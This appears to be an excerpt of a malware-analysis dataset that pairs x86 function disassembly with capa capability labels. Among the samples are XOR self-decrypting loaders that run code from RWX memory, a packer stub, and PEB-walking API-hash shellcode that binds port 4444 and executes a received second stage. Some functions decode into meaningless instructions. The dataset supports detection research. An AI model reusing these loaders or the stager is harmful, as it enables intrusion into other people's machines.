joyce8/EMBER2024-capa huggingface dataset:
Function at 0x46f1bd
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
sub esp, 0x24
push ebx
push esi
push edi
xor edi, edi
cmp word [eax], di
je 0x46f2d7
push edi
push edi
push 3
push edi
push edi
push bind
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
jne 0x46f1f4
xor eax, eax
jmp 0x46f306
push 0
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
push esi
push 2
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebx, eax
test ebx, ebx
jne 0x46f217
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x46f1ed
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalLock]
push 0
lea ecx, [ebp - 0xc]
push ecx
push esi
push eax
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push ebx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test esi, esi
je 0x46f1ed
lea eax, [ebp - 8]
push eax
push 1
push ebx
call dword [sym.imp.ole32.dll_CreateStreamOnHGlobal]
lea eax, [ebp - 4]
push eax
push 0x48e9bc
xor edi, edi
push edi
push edi
push dword [ebp - 8]
mov dword [ebp - 4], edi
call dword [sym.imp.OLEAUT32.dll_OleCreatePictureIndirect]
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov ecx, dword [ebp - 4]
test ecx, ecx
je 0x46f1ed
mov eax, dword [ecx]
lea edx, [ebp + 0xc]
push edx
push ecx
call dword [eax + 0xc]
lea eax, [ebp - 0x24]
push eax
push 0x18
push dword [ebp + 0xc]
call dword [sym.imp.GDI32.dll_GetObjectW]
mov edx, dword [ebp + 0x10]
mov ecx, dword [ebp + 0x14]
cmp dword [edx], edi
jne 0x46f2b3
cmp dword [ecx], edi
jne 0x46f2b3
mov eax, dword [ebp - 0x20]
mov dword [edx], eax
mov eax, dword [ebp - 0x1c]
mov dword [ecx], eax
push 0x2000
push dword [ecx]
push dword [edx]
push edi
push dword [ebp + 0xc]
call dword [sym.imp.USER32.dll_CopyImage]
mov dword [ebp + 0xc], eax
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp + 0xc]
jmp 0x46f2dc
mov eax, edi
mov dword [ebp + 0xc], eax
mov esi, dword [ebp + 8]
cmp dword [esi + 0x64], 0
je 0x46f2f1
push dword [esi + 0x64]
call dword [sym.imp.GDI32.dll_DeleteObject]
mov eax, dword [ebp + 0xc]
push eax
push edi
mov dword [esi + 0x64], eax
mov esi, dword [esi]
push 0x172
push esi
call dword [sym.imp.USER32.dll_SendMessageW]
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret 0x10
Function at 0x46fc44
Capabilities:
Check for unmoving mouse cursor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, 0x4c2810
push edi
mov ecx, esi
call fcn.0041bf92
mov ecx, dword [0x4c2870]
mov eax, dword [ecx + eax*4]
mov ebx, dword [eax]
cmp dword [ebp + 0xc], edi
jne 0x46fc9b
xor esi, esi
cmp dword [ebx + 0x1a0], esi
je 0x46fcff
lea eax, [ebp - 8]
push eax
call dword [sym.imp.USER32.dll_GetCursorPos]
push esi
push edi
push dword [ebp - 4]
push dword [ebp - 8]
push esi
push dword [ebx + 0x1a0]
call dword [sym.imp.USER32.dll_TrackPopupMenuEx]
jmp 0x46fd19
push dword [ebp + 0xc]
mov ecx, esi
call fcn.0041c04e
mov dword [ebp + 8], eax
cmp eax, 0xffffffff
je 0x46fcff
mov ecx, dword [0x4c2884]
mov ecx, dword [ecx + eax*4]
mov eax, dword [ecx]
mov cl, byte [eax + 0x90]
cmp cl, 0xe
je 0x46fcff
cmp cl, 0xf
je 0x46fcff
cmp cl, 0x13
je 0x46fcff
cmp cl, 0x10
je 0x46fcff
xor esi, esi
cmp dword [eax + 0xc], esi
je 0x46fcff
lea eax, [ebp - 8]
push eax
call dword [sym.imp.USER32.dll_GetCursorPos]
mov eax, dword [0x4c2884]
mov ecx, dword [ebp + 8]
push esi
push dword [ebx]
mov eax, dword [eax + ecx*4]
push dword [ebp - 4]
mov eax, dword [eax]
push dword [ebp - 8]
push esi
push dword [eax + 0xc]
jmp 0x46fc93
movzx ecx, word [ebp + 0x14]
movzx eax, word [ebp + 0x10]
shl ecx, 0x10
or ecx, eax
push ecx
push dword [ebp + 0xc]
push 0x7b
push edi
call dword [sym.imp.USER32.dll_DefDlgProcW]
pop edi
pop esi
pop ebx
leave
ret 0x10
Function at 0x2580426e
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
pushal
call 0x2580427d
pop dword [ebp - 0x2c]
mov eax, 0xba966ab7
sub eax, 0x9516283a
sub dword [ebp - 0x2c], eax
mov dword [ebp - 0x3c], 0x57896f3e
sub dword [ebp - 0x3c], 0x93729f3
mov dword [ebp - 0x38], 0xe5cd286a
add dword [ebp - 0x38], 0x4c6623db
mov dword [ebp - 0x34], 0x97e3eb0f
add dword [ebp - 0x34], 0xb468591f
mov dword [ebp - 0x30], 0x2c64520b
add dword [ebp - 0x30], 0xd39badf5
lea eax, [ebp - 0x3c]
push eax
mov eax, 0x2f01e83b
sub eax, 0x98017f7
add eax, dword [ebp - 0x2c]
call dword [eax]
mov dword [ebp - 0x3c], 0x22430b4c
sub dword [ebp - 0x3c], 0xadd0a1f6
mov dword [ebp - 0x38], 0xdcfef996
add dword [ebp - 0x38], 0x646d67df
mov dword [ebp - 0x34], 0xe1b7575b
add dword [ebp - 0x34], 0x81b81511
mov dword [ebp - 0x30], 0xfec552ee
add dword [ebp - 0x30], 0x13aad12
lea ebx, [ebp - 0x3c]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x2c]
call dword [eax]
push 0x40
push 0x1000
push 0x3cdcc
push 0
call eax
mov ecx, 0x788a91d6
add ecx, 0x8775b730
xor esi, esi
add esi, eax
mov edi, 0xb6aff68d
sub edi, 0x912d608d
add edi, dword [ebp - 0x2c]
mov edx, 0x67c0dcf3
xor dword [ebp - 4], 0xf907f969
mov ebx, dword [edi]
xor dword [ebp - 0x14], 0x587d1a90
xor ebx, edx
mov dword [ebp - 0x1c], 0xec903c54
mov dword [esi], ebx
xor dword [ebp - 4], eax
add esi, 4
add edi, 0x883c515c
add edi, 0x77c3aea8
loop 0x25804396
add eax, 0x116eb
xor ebx, ebx
add ebx, eax
add eax, 0xc3bf20
sub eax, 0xc3bf1b
mov ecx, 0x25800000
add ecx, dword [ebp - 0x2c]
call ebx
leave
ret
Function at 0x2580babc
Capabilities:
Query remote server for available data

Disassembly:
push 0x18
push 0x25820790
call fcn.2581aaa0
and dword [ebp - 0x20], 0
and dword [ebp - 4], 0
push 0
push 0
mov ecx, dword [ebp + 8]
mov eax, dword [ecx + 0x134]
add eax, 0x28
push eax
push dword [ecx + 0x130]
call dword [sym.imp.WININET.dll_InternetQueryDataAvailable]
mov dword [ebp - 0x20], eax
xor edi, edi
inc edi
mov ebx, edi
mov dword [ebp - 0x24], ebx
mov dword [ebp - 4], 0xfffffffe
jmp 0x2580bbbc
test ebx, ebx
jne 0x2580bbe4
xor eax, eax
mov word [ebp - 0x1c], ax
lea eax, [ebp - 0x1c]
push eax
mov eax, dword [0x25823e24]
mov esi, dword [eax + 0x1218]
mov ecx, esi
call dword [0x2581d220]
call esi
pop ecx
test ebx, ebx
je 0x2580bbea
cmp dword [ebp - 0x20], 0
jne 0x2580bbec
xor edi, edi
mov eax, edi
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x2580c0de
Capabilities:
Check internet connectivity via wininet

Disassembly:
push 0x1c
push 0x258208b8
call fcn.2581aaa0
xor eax, eax
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 4], eax
push eax
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.WININET.dll_InternetGetConnectedState]
mov dword [ebp - 0x20], eax
xor edi, edi
inc edi
mov ebx, edi
mov dword [ebp - 0x28], ebx
mov dword [ebp - 4], 0xfffffffe
jmp 0x2580c1cf
test ebx, ebx
jne 0x2580c1f7
xor eax, eax
mov word [ebp - 0x1c], ax
lea eax, [ebp - 0x1c]
push eax
mov eax, dword [0x25823e24]
mov esi, dword [eax + 0x1218]
mov ecx, esi
call dword [0x2581d220]
call esi
pop ecx
test ebx, ebx
je 0x2580c206
cmp dword [ebp - 0x20], 0
je 0x2580c206
test byte [ebp - 0x24], 0x20
jne 0x2580c206
push 2
pop edi
mov ax, di
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x407ef8
nop
mov ecx, 0x36560b42
nop
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x42e04e
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x42e024
nop
nop
mov eax, section..rsrc
nop
nop
mov ebx, 0x42cd70
nop
mov ecx, 0x116c4bc4
test eax, eax
nop
nop
nop
nop
je 0x42e084
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
nop
nop
nop
nop
cmp eax, ebx
jne 0x42e06c
nop
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x401219
Function at 0x4034c3
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
pushal
call 0x4034d2
pop dword [ebp - 0x3c]
mov eax, 0x4034d2
sub dword [ebp - 0x3c], eax
mov dword [ebp - 0x4c], 0xbc7999ec
sub dword [ebp - 0x4c], 0x6e2754a1
mov dword [ebp - 0x48], 0xb2f74753
add dword [ebp - 0x48], 0x7f3c04f2
mov dword [ebp - 0x44], 0x190db089
sub dword [ebp - 0x44], 0xccc16c5b
mov dword [ebp - 0x40], 0xc2f216ac
add dword [ebp - 0x40], 0x3d0de954
lea eax, [ebp - 0x4c]
push eax
mov eax, 0x4a67680a
sub eax, 0x4a2727da
add eax, dword [ebp - 0x3c]
call dword [eax]
mov dword [ebp - 0x4c], 0xc1c35cc9
sub dword [ebp - 0x4c], 0x4d50f373
mov dword [ebp - 0x48], 0xfc9e9861
add dword [ebp - 0x48], 0x44cdc914
mov dword [ebp - 0x44], 0x7ee10f13
sub dword [ebp - 0x44], 0x1b71a2a7
mov dword [ebp - 0x40], 0x46a4567
add dword [ebp - 0x40], 0xfb95ba99
lea ebx, [ebp - 0x4c]
push ebx
push eax
mov eax, 0x68228e53
add eax, 0x981db1fd
add eax, dword [ebp - 0x3c]
call dword [eax]
push 0x40
push 0x1000
push 0x3d3ec
push 0
call eax
mov ecx, 0x6e7aaa1d
sub ecx, 0x6e7a48b4
xor edi, edi
add edi, eax
mov ebx, 0x7c7bb67d
add ebx, 0x83c4cd83
add ebx, dword [ebp - 0x3c]
mov edx, 0x6d686c52
sub edx, 0x170e927b
sub dword [ebp - 0x30], 0x17326353
mov esi, dword [ebx]
sub dword [ebp - 0x1c], 0x81de8613
add esi, edx
sub dword [ebp - 0x2c], 0xaaf4844
mov dword [edi], esi
xor dword [ebp - 4], edx
add edi, 0x948a01c9
add edi, 0x6b75fe3b
add ebx, 0x27f99a94
sub ebx, 0x27f99a90
loop 0x4035f1
add eax, 0x17877
mov ebx, eax
add eax, 0x39cf72f1
add eax, 0xc6308d14
mov ecx, 0x8706115d
add ecx, 0x7939eea3
add ecx, dword [ebp - 0x3c]
call ebx
leave
ret
Function at 0x100029d4
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
pushal
call 0x100029e3
pop dword [ebp - 0x1c]
mov eax, 0x3c0b14c2
add eax, 0xd3f51521
sub dword [ebp - 0x1c], eax
mov dword [ebp - 0x2c], 0xb119f355
add dword [ebp - 0x2c], 0x9d3851f6
mov dword [ebp - 0x28], 0x46a9838b
sub dword [ebp - 0x28], 0x14763746
mov dword [ebp - 0x24], 0xef2281ff
sub dword [ebp - 0x24], 0xa2d63dd1
mov dword [ebp - 0x20], 0x6d71fbad
add dword [ebp - 0x20], 0x928e0453
lea eax, [ebp - 0x2c]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x1c]
call dword [eax]
mov dword [ebp - 0x2c], 0xeb2dfe6c
sub dword [ebp - 0x2c], 0x76bb9516
mov dword [ebp - 0x28], 0xa4a022d8
sub dword [ebp - 0x28], 0x6333c163
mov dword [ebp - 0x24], 0x2f4e9fa
sub dword [ebp - 0x24], 0x9f857d8e
mov dword [ebp - 0x20], 0x359a6ffe
sub dword [ebp - 0x20], 0x359a6ffe
lea ebx, [ebp - 0x2c]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x1c]
call dword [eax]
push 0x40
push 0x1000
push 0x35bc1
push 0
call eax
mov ecx, 0x411d
xor edi, edi
add edi, eax
mov ebx, 0xa6cbdc67
add ebx, 0x69357399
add ebx, dword [ebp - 0x1c]
mov edx, 0x5d08dcaa
mov esi, dword [ebx]
xor dword [ebp - 0x10], 0x98f6cadc
xor esi, edx
sub dword [ebp - 0x18], 0x9747f5b2
mov dword [edi], esi
add dword [ebp - 0x10], 0x20960556
add edi, 4
add ebx, 0xb9ff8c43
sub ebx, 0xb9ff8c3f
loop 0x10002af1
add eax, 0xf747
mov ebx, eax
add eax, 0x5d73f6ed
sub eax, 0x5d73f6e8
mov ecx, 0x9041b433
sub ecx, 0x8041b433
add ecx, dword [ebp - 0x1c]
call ebx
leave
ret
Function at 0x401750
Capabilities:
Terminate process

Disassembly:
sbb byte [ecx], bl
mov bl, 0x90
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push ebp
jge 0x40173f
mov eax, dword [ebp + 8]
cld
or eax, sym.imp.MSVCRT.dll__iob
test eax, 0xbb29c183
mov byte [0x4c00571c], al
call dword [sym.imp.MSVCRT.dll_fprintf]
mov eax, dword [0x5d02ac]
and dword [eax*8 + 0xf74c085], 0x3b
push 0x407e54
call dword [0x21f2c164]
add esp, 8
push 1
call dword [sym.imp.MSVCRT.dll_exit]
nop
push ebp
mov ebp, esp
xor dword [ecx + 0x10000b8], 0x41b637a1
dec esi
test dword [edx + 0x41404ca1], ecx
add byte [esp + edx + 0x68], dh
inc eax
cmp al, 0xf4
add byte [eax - 0x18], dl
sahf
test eax, 0x8b662e00
or eax, 0x41024d
jmp 0x4017cf
mov dword [0x411808], eax
mov eax, dword [0x41e888]
push ebx
push esi
mov esi, dword [sym.imp.MSVCRT.dll_printf]
int3

Function at 0x401e40
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov eax, dword [0x3a0eec8b]
js 0x401e9d
mov ecx, dword [ebx + 0x458d560c]
xor byte [eax - 0x74f3ad75], dl
push edx
adc al, 0x90

Function at 0x402483
Capabilities:
Access peb ldr_data
Resolve function by parsing pe exports

Disassembly:
call fcn.00402445
cld
call fcn.0040251d
pushal
mov ebp, esp
xor edx, edx
mov edx, dword fs:[edx + 0x30]
mov edx, dword [edx + 0xc]
mov edx, dword [edx + 0x14]
mov esi, dword [edx + 0x28]
movzx ecx, word [edx + 0x26]
xor edi, edi
xor eax, eax
lodsb al, byte [esi]
cmp al, 0x61
jl 0x4024af
sub al, 0x20
ror edi, 0xd
add edi, eax
dec ecx
jne 0x4024a6
push edx
push edi
mov edx, dword [edx + 0x10]
mov eax, dword [edx + 0x3c]
add eax, edx
mov eax, dword [eax + 0x78]
test eax, eax
je 0x402514
add eax, edx
mov ecx, dword [eax + 0x18]
mov ebx, dword [eax + 0x20]
push eax
add ebx, edx
test ecx, ecx
je 0x402513
xor edi, edi
dec ecx
mov esi, dword [ebx + ecx*4]
add esi, edx
xor eax, eax
ror edi, 0xd
lodsb al, byte [esi]
add edi, eax
cmp al, ah
jne 0x4024df
add edi, dword [ebp - 8]
cmp edi, dword [ebp + 0x24]
jne 0x4024d3
pop eax
mov ebx, dword [eax + 0x24]
add ebx, edx
mov cx, word [ebx + ecx*2]
mov ebx, dword [eax + 0x1c]
add ebx, edx
mov eax, dword [ebx + ecx*4]
add eax, edx
mov dword [esp + 0x24], eax
pop ebx
pop ebx
popal
pop ecx
pop edx
push ecx
jmp eax
pop eax
pop edi
pop edx
mov edx, dword [edx]
jmp 0x40249d

Function at 0x40251d
Capabilities:
Access peb ldr_data

Disassembly:
pop ebp
push 0x3233
push 0x5f327377
push esp
push 0x726774c
call ebp
mov eax, 0x190
sub esp, eax
push esp
push eax
push 0x6b8029
call ebp
push 0xb
pop ecx
push eax
loop 0x402543
push 1
push 2
push 0xe0df0fea
call ebp
xchg edi, eax
push 0x5c110002
mov esi, esp
push 0x10
push esi
push edi
push 0x6737dbc2
call ebp
test eax, eax
jne 0x4025c4
push edi
push 0xff38e9b7
call ebp
push edi
push 0xe13bec74
call ebp
push edi
xchg edi, eax
push 0x614d6e75
call ebp
push 0
push 4
push esi
push edi
push 0x5fc8d902
call ebp
cmp eax, 0
jle 0x4025c4
mov esi, dword [esi]
push 0x40
push 0x1000
push esi
push 0
push 0xe553a458
call ebp
xchg ebx, eax
push ebx
push 0
push esi
push ebx
push edi
push 0x5fc8d902
call ebp
cmp eax, 0
jle 0x4025c4
add ebx, eax
sub esi, eax
jne 0x4025ac
ret
mov ebx, 0x56a2b5f0
push 0
push ebx
call ebp
Function at 0x404310
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov esi, dword [esi - 0x38]
rol byte [eax + 0x19], 0x56
mov esp, dword [esi]
add cl, 0x7f
add byte [eax - 0x7d], dl
shl dword [ebp + 0x40f26468], 0
push ecx
call esi
mov edx, dword [0x4440c0c8]
push str.Options_are:_n
add edx, 0x40
inc eax
cmc
xor al, 0x29
mov eax, dword [0x4cc0c8]
push str._____n_requests_____Number_of_requests_to_perform_n
add eax, 0xffffffbb
push eax
call esi
mov ecx, dword [0x1540c0c8]
jecxz 0x40433c
mov dh, 0x40
add ecx, 0x40
push ecx
call [edi - 0x75]
adc eax, sym.imp.MSVCRT.dll__iob
push str._____t_timelimit____Seconds_to_max._wait_for_responses_n
add edx, 0x40
push edx
call esi
mov eax, dword [sym.imp.MSVCRT.dll__iob]
push str._____b_windowsize___Size_of_TCP_send_receive_buffer__in_bytes_n
add eax, 0x40
push eax
call esi
mov ecx, dword [0xe5fec8]
push 0x30f120
add ecx, 0x40
mov ebx, 0x158bd6ff
enter 0x40c0, 0
push 0x5740f0fc
mov cl, 0xc2
inc eax
movsb byte es:[edi], byte [esi]
call esi
mov eax, dword [sym.imp.MSVCRT.dll__iob]
xor dword [edi + 0x44], 0xffffff83
rol byte [eax + 0x3b], 0xda
invalid

Function at 0x40678b
Capabilities:
Encode data using xor

Disassembly:
or al, 0x34
insd dword es:[edi], dx
push es
dec ebp
add byte [ebx + 0x6a1446], cl
push edi
push eax
adc al, 0x6a
add byte [edi + 0x50], dl
call fcn.00407fd0
add esp, 0x18
mov word [esi + 0x5d], ds
add byte [ebx + 0x5e8c18c4], al
pop ebp
ret
push esi
jecxz 0x40675d
loop 0x4067ff
inc dword [edx]
jne 0x40679c
mov edi, eax
xor eax, eax
mov edx, edi
mov ecx, 0x14
push 0x38
add byte [eax], al
add byte [edx + 0x38], ch
rep stosd dword es:[edi], eax
mov dword [ebx - 0x37f974e6], eax
or byte [ecx - 0x18], dl
scasd eax, dword es:[edi]
loop 0x406765
pop esp
mov edi, eax
xor ecx, dword [edi + 0xeb9d78b]
add byte [eax], al
jecxz 0x4067b0
stosd dword es:[edi], eax
jns 0x4067c6
push 0xffffffffffffffa1
sbb edx, dword [eax + 0x10]
mov ecx, dword [esi]
push cs
mov edx, dword [ecx + 0x10]
mov dword [edx], ebx
mov esp, dword [esi + 0x951088b]
imul esp, edx, 0xffffffff
push eax
mov edi, ebx
xor eax, eax
mov edx, edi
mov ecx, 0xf30e
rep stosd dword es:[edi], eax
mov eax, ebx
push 0
daa
push 1
jecxz 0x40676e
adc al, 0x8b
push cs
mov edx, dword [ecx - 0x30]
mov dword [edx], ebx
mov eax, dword [esi]
mov dword [eax + 0x34], 0xc8
mov ecx, dword [esi]
add ecx, 0x48
push ecx
jecxz 0x406800
ror dword [eax + 0x51], 0xe3
sti
test bh, bh
call [edi - 0x24]
sub byte [ebp - 0x3d], bl
nop
nop
nop
scasd eax, dword es:[edi]
mov ebp, esp
push esi
jnp 0x406821
js 0x406880
loopne 0x406879
inc eax
add byte [eax - 0x17aff975], ah
sbb ebp, esi
invalid
clc
inc dword [0x1ae85]
add byte [ebx + 0x40c12735], cl
add bh, bh
salc
test eax, eax
je 0x40698a
call esi
add eax, 0xc6eefc80
cmp eax, 0xb8eb3
pop ecx
test dword [ecx + 1], edx
add byte [eax], al
int3
pop edi
pop esi
mov byte [0xe516bcc0], al
pop ebp
ret 8
Function at 0x40b2d0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, dword [ebp + 8]
pop esp
inc esi
sub al, 0x87
sal byte [edi - 0x7c], 0xbe
add byte [eax], al
add byte [ebx + 0x4133484e], cl
push 0xffffffffffffff83
stc
add dword [edi - 0x77], edx
inc ebp
cld
mov dword [ebp + 8], eax
fld qword [ebp + 0x8000036]
and al, 0xd1
cmp al, 0xd4
and byte [eax + 0x9184], 0
mov eax, dword [ebx + 0x38]
mov al, 0xb1
jecxz 0x40b381
add eax, 0xebffc883
add cl, byte [ebx - 0x3e457439]
lea edi, [esi + 0x51006afc]
push eax
push ebx
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x40b358
push edi
inc ebp
cld
mov edx, dword [esi + 0x50]
mov ecx, dword [esi + 0x54]
add edx, eax
invalid
mov edi, dword [0x9fb2c098]
call edi
cmc
sal byte [ebp + 5], 0x89
inc ebp
or bl, ch
or bh, bh
xlatb
add eax, 0xafc80
mov dword [ebp + 8], eax
mov ecx, dword [esp + edi*8]
mov edx, dword [esi - 3]
mov ebp, dword [edi]
add byte [ebp - 0x30], al
mov eax, dword [ebp + 8]
mov esi, edi
push eax
adc ecx, 0
test ebp, ecx
mov dword [esi + 0x54], ecx
test byte [edi], 0xfd
mov cl, 0x1e
add byte [eax], al
lodsb al, byte [esi]
add byte [ebx + 0x5b5f485b], cl
pop esi
mov ebx, esp
pop ebp
ret 0xb4
Function at 0x403400
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 1
call dword [sym.imp.ucrtbase.dll__configure_wide_argv]
call dword [sym.imp.ucrtbase.dll__initialize_wide_environment]
call sub.ucrtbase.dll___p___argc
mov esi, dword [eax]
call sub.ucrtbase.dll___p___wargv
mov edi, dword [eax]
call dword [sym.imp.ucrtbase.dll__get_initial_wide_environment]
mov ebx, eax
mov eax, dword [0x40003c]
cmp word [eax + 0x40005c], 2
sete al
movzx eax, al
add eax, 1
mov dword [esp], eax
call dword [sym.imp.ucrtbase.dll__set_app_type]
mov dword [esp + 8], ebx
mov dword [esp + 4], edi
mov dword [esp], esi
call fcn.00402790
mov dword [esp], eax
call 0x403470
nop
nop
nop
nop
nop
nop
nop
jmp dword [sym.imp.ucrtbase.dll_exit]
Function at 0x401cd0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
xor esi, esi
mov ebx, edx
test edi, edi
je 0x401d08
imul edx, dword [ecx], 0xe9
movzx eax, byte [esi + ebx]
add eax, edx
mov dword [ecx], eax
add byte [ecx + 4], al
xor byte [ecx + 5], al
movzx eax, byte [esi + ebx]
add byte [ecx + 6], al
movzx eax, byte [esi + ebx]
inc esi
xor byte [ecx + 7], al
cmp esi, edi
jb 0x401ce1
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x407590
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
push esi
mov eax, edx
mov dword [ebp - 8], ecx
mov ecx, dword [0x5763ac]
push edi
push eax
mov dword [ebp - 4], eax
lea eax, [ebp - 0x20]
push eax
call fcn.00409150
test eax, eax
je 0x4076b9
call fcn.00406b80
mov edi, dword [ebp + 8]
mov ecx, edi
call fcn.00406e50
test eax, eax
je 0x4076a8
mov ecx, dword [eax + 0x20]
mov ebx, 1
call fcn.004b6d70
test eax, eax
jne 0x4075f5
mov ecx, edi
call fcn.004072a0
test eax, eax
jne 0x4075f5
xor ebx, ebx
mov esi, DirectSoundCreate8
jmp 0x4075f8
mov esi, dword [ebp - 8]
call fcn.00406b90
test ebx, ebx
je 0x40769f
push 0x1c
call fcn.004d9e7d
add esp, 4
mov esi, eax
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [esi + 4], eax
mov eax, dword [ebp - 4]
push esi
mov dword [esi + 0xc], eax
mov eax, dword [ebp + 0xc]
push 0
push 0x407340
mov dword [esi + 8], 0
mov dword [esi + 0x10], edi
mov dword [esi + 0x14], eax
mov dword [esi + 0x18], 0
call fcn.004eacf3
add esp, 0xc
cmp eax, 0xffffffff
je 0x407688
push 2
push eax
mov dword [esi], eax
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
push 0xffffffffffffffff
push dword [esi + 4]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [esi + 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 8]
mov dword [esi + 4], 0
mov dword [eax], esi
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0x1c
push esi
call fcn.004d9ead
add esp, 8
mov eax, DirectSoundCreate8
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
call fcn.00406b90
mov eax, 0x80000003
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
mov eax, 0x80000005
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4174f0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
test esi, esi
je 0x417519
mov eax, dword [edx + 0x10]
sub eax, 1
je 0x41751c
sub eax, 1
jne 0x417519
mov eax, dword [ecx + 0x10]
sub eax, 1
jne 0x417519
push esi
call fcn.00417860
add esp, 4
pop esi
pop ebp
ret
cmp dword [ecx + 0x10], 1
jne 0x417519
cmp esi, 0x100
jae 0x417536
push esi
call fcn.004176b0
add esp, 4
pop esi
pop ebp
ret
pop esi
pop ebp
jmp 0x417540
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
sub esp, 0x18
mov eax, ecx
movaps xmm6, xmmword [0x547110]
mov ecx, dword [edx]
mov dword [ebp - 8], ecx
push esi
mov ecx, dword [eax + 4]
mov esi, dword [eax]
sar ecx, 2
mov dword [ebp - 0x10], ecx
mov ecx, dword [edx + 4]
sar ecx, 2
push edi
mov edi, dword [eax + 0xc]
mov eax, dword [eax + 8]
mov dword [ebp - 4], eax
mov eax, dword [edx + 8]
mov dword [ebp - 0x14], ecx
mov ecx, dword [edx + 0xc]
mov edx, dword [ebp - 4]
cmp edx, eax
mov dword [ebp - 0xc], esi
cmova edx, eax
cmp edi, ecx
cmova edi, ecx
test edi, edi
je 0x4176a4
mov eax, dword [ebp - 0x10]
mov ecx, edx
shl eax, 2
and edx, 1
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x14]
shr ecx, 1
shl eax, 2
mov dword [ebp - 0x18], ecx
mov dword [ebp - 4], edx
mov dword [ebp - 0x14], eax
mov edx, dword [ebp - 8]
dec edi
mov eax, esi
mov esi, ecx
test ecx, ecx
je 0x417631
xorps xmm5, xmm5
movq xmm4, qword [eax]
mov ecx, edx
punpcklbw xmm4, xmm5
add edx, 8
movaps xmm2, xmm4
pcmpgtw xmm2, xmm6
movq xmm3, qword [ecx]
movaps xmm0, xmm2
punpcklbw xmm3, xmm5
mov ecx, eax
movaps xmm1, xmm3
psrlw xmm0, 8
pmullw xmm3, xmm4
paddw xmm1, xmm4
psllw xmm1, 1
add eax, 8
pand xmm1, xmm2
psubw xmm1, xmm0
psrlw xmm3, 7
pxor xmm3, xmm2
psubw xmm3, xmm2
paddw xmm1, xmm3
packuswb xmm1, xmm5
movq qword [ecx], xmm1
sub esi, 1
jne 0x4175d2
cmp dword [ebp - 4], 0
je 0x41768a
movd xmm4, dword [edx]
xorps xmm5, xmm5
movd xmm3, dword [eax]
punpcklbw xmm4, xmm5
movaps xmm2, xmm4
punpcklbw xmm3, xmm5
pmullw xmm4, xmm3
paddw xmm2, xmm3
movaps xmm1, xmm3
psllw xmm2, 1
pcmpgtw xmm1, xmm6
movaps xmm0, xmm1
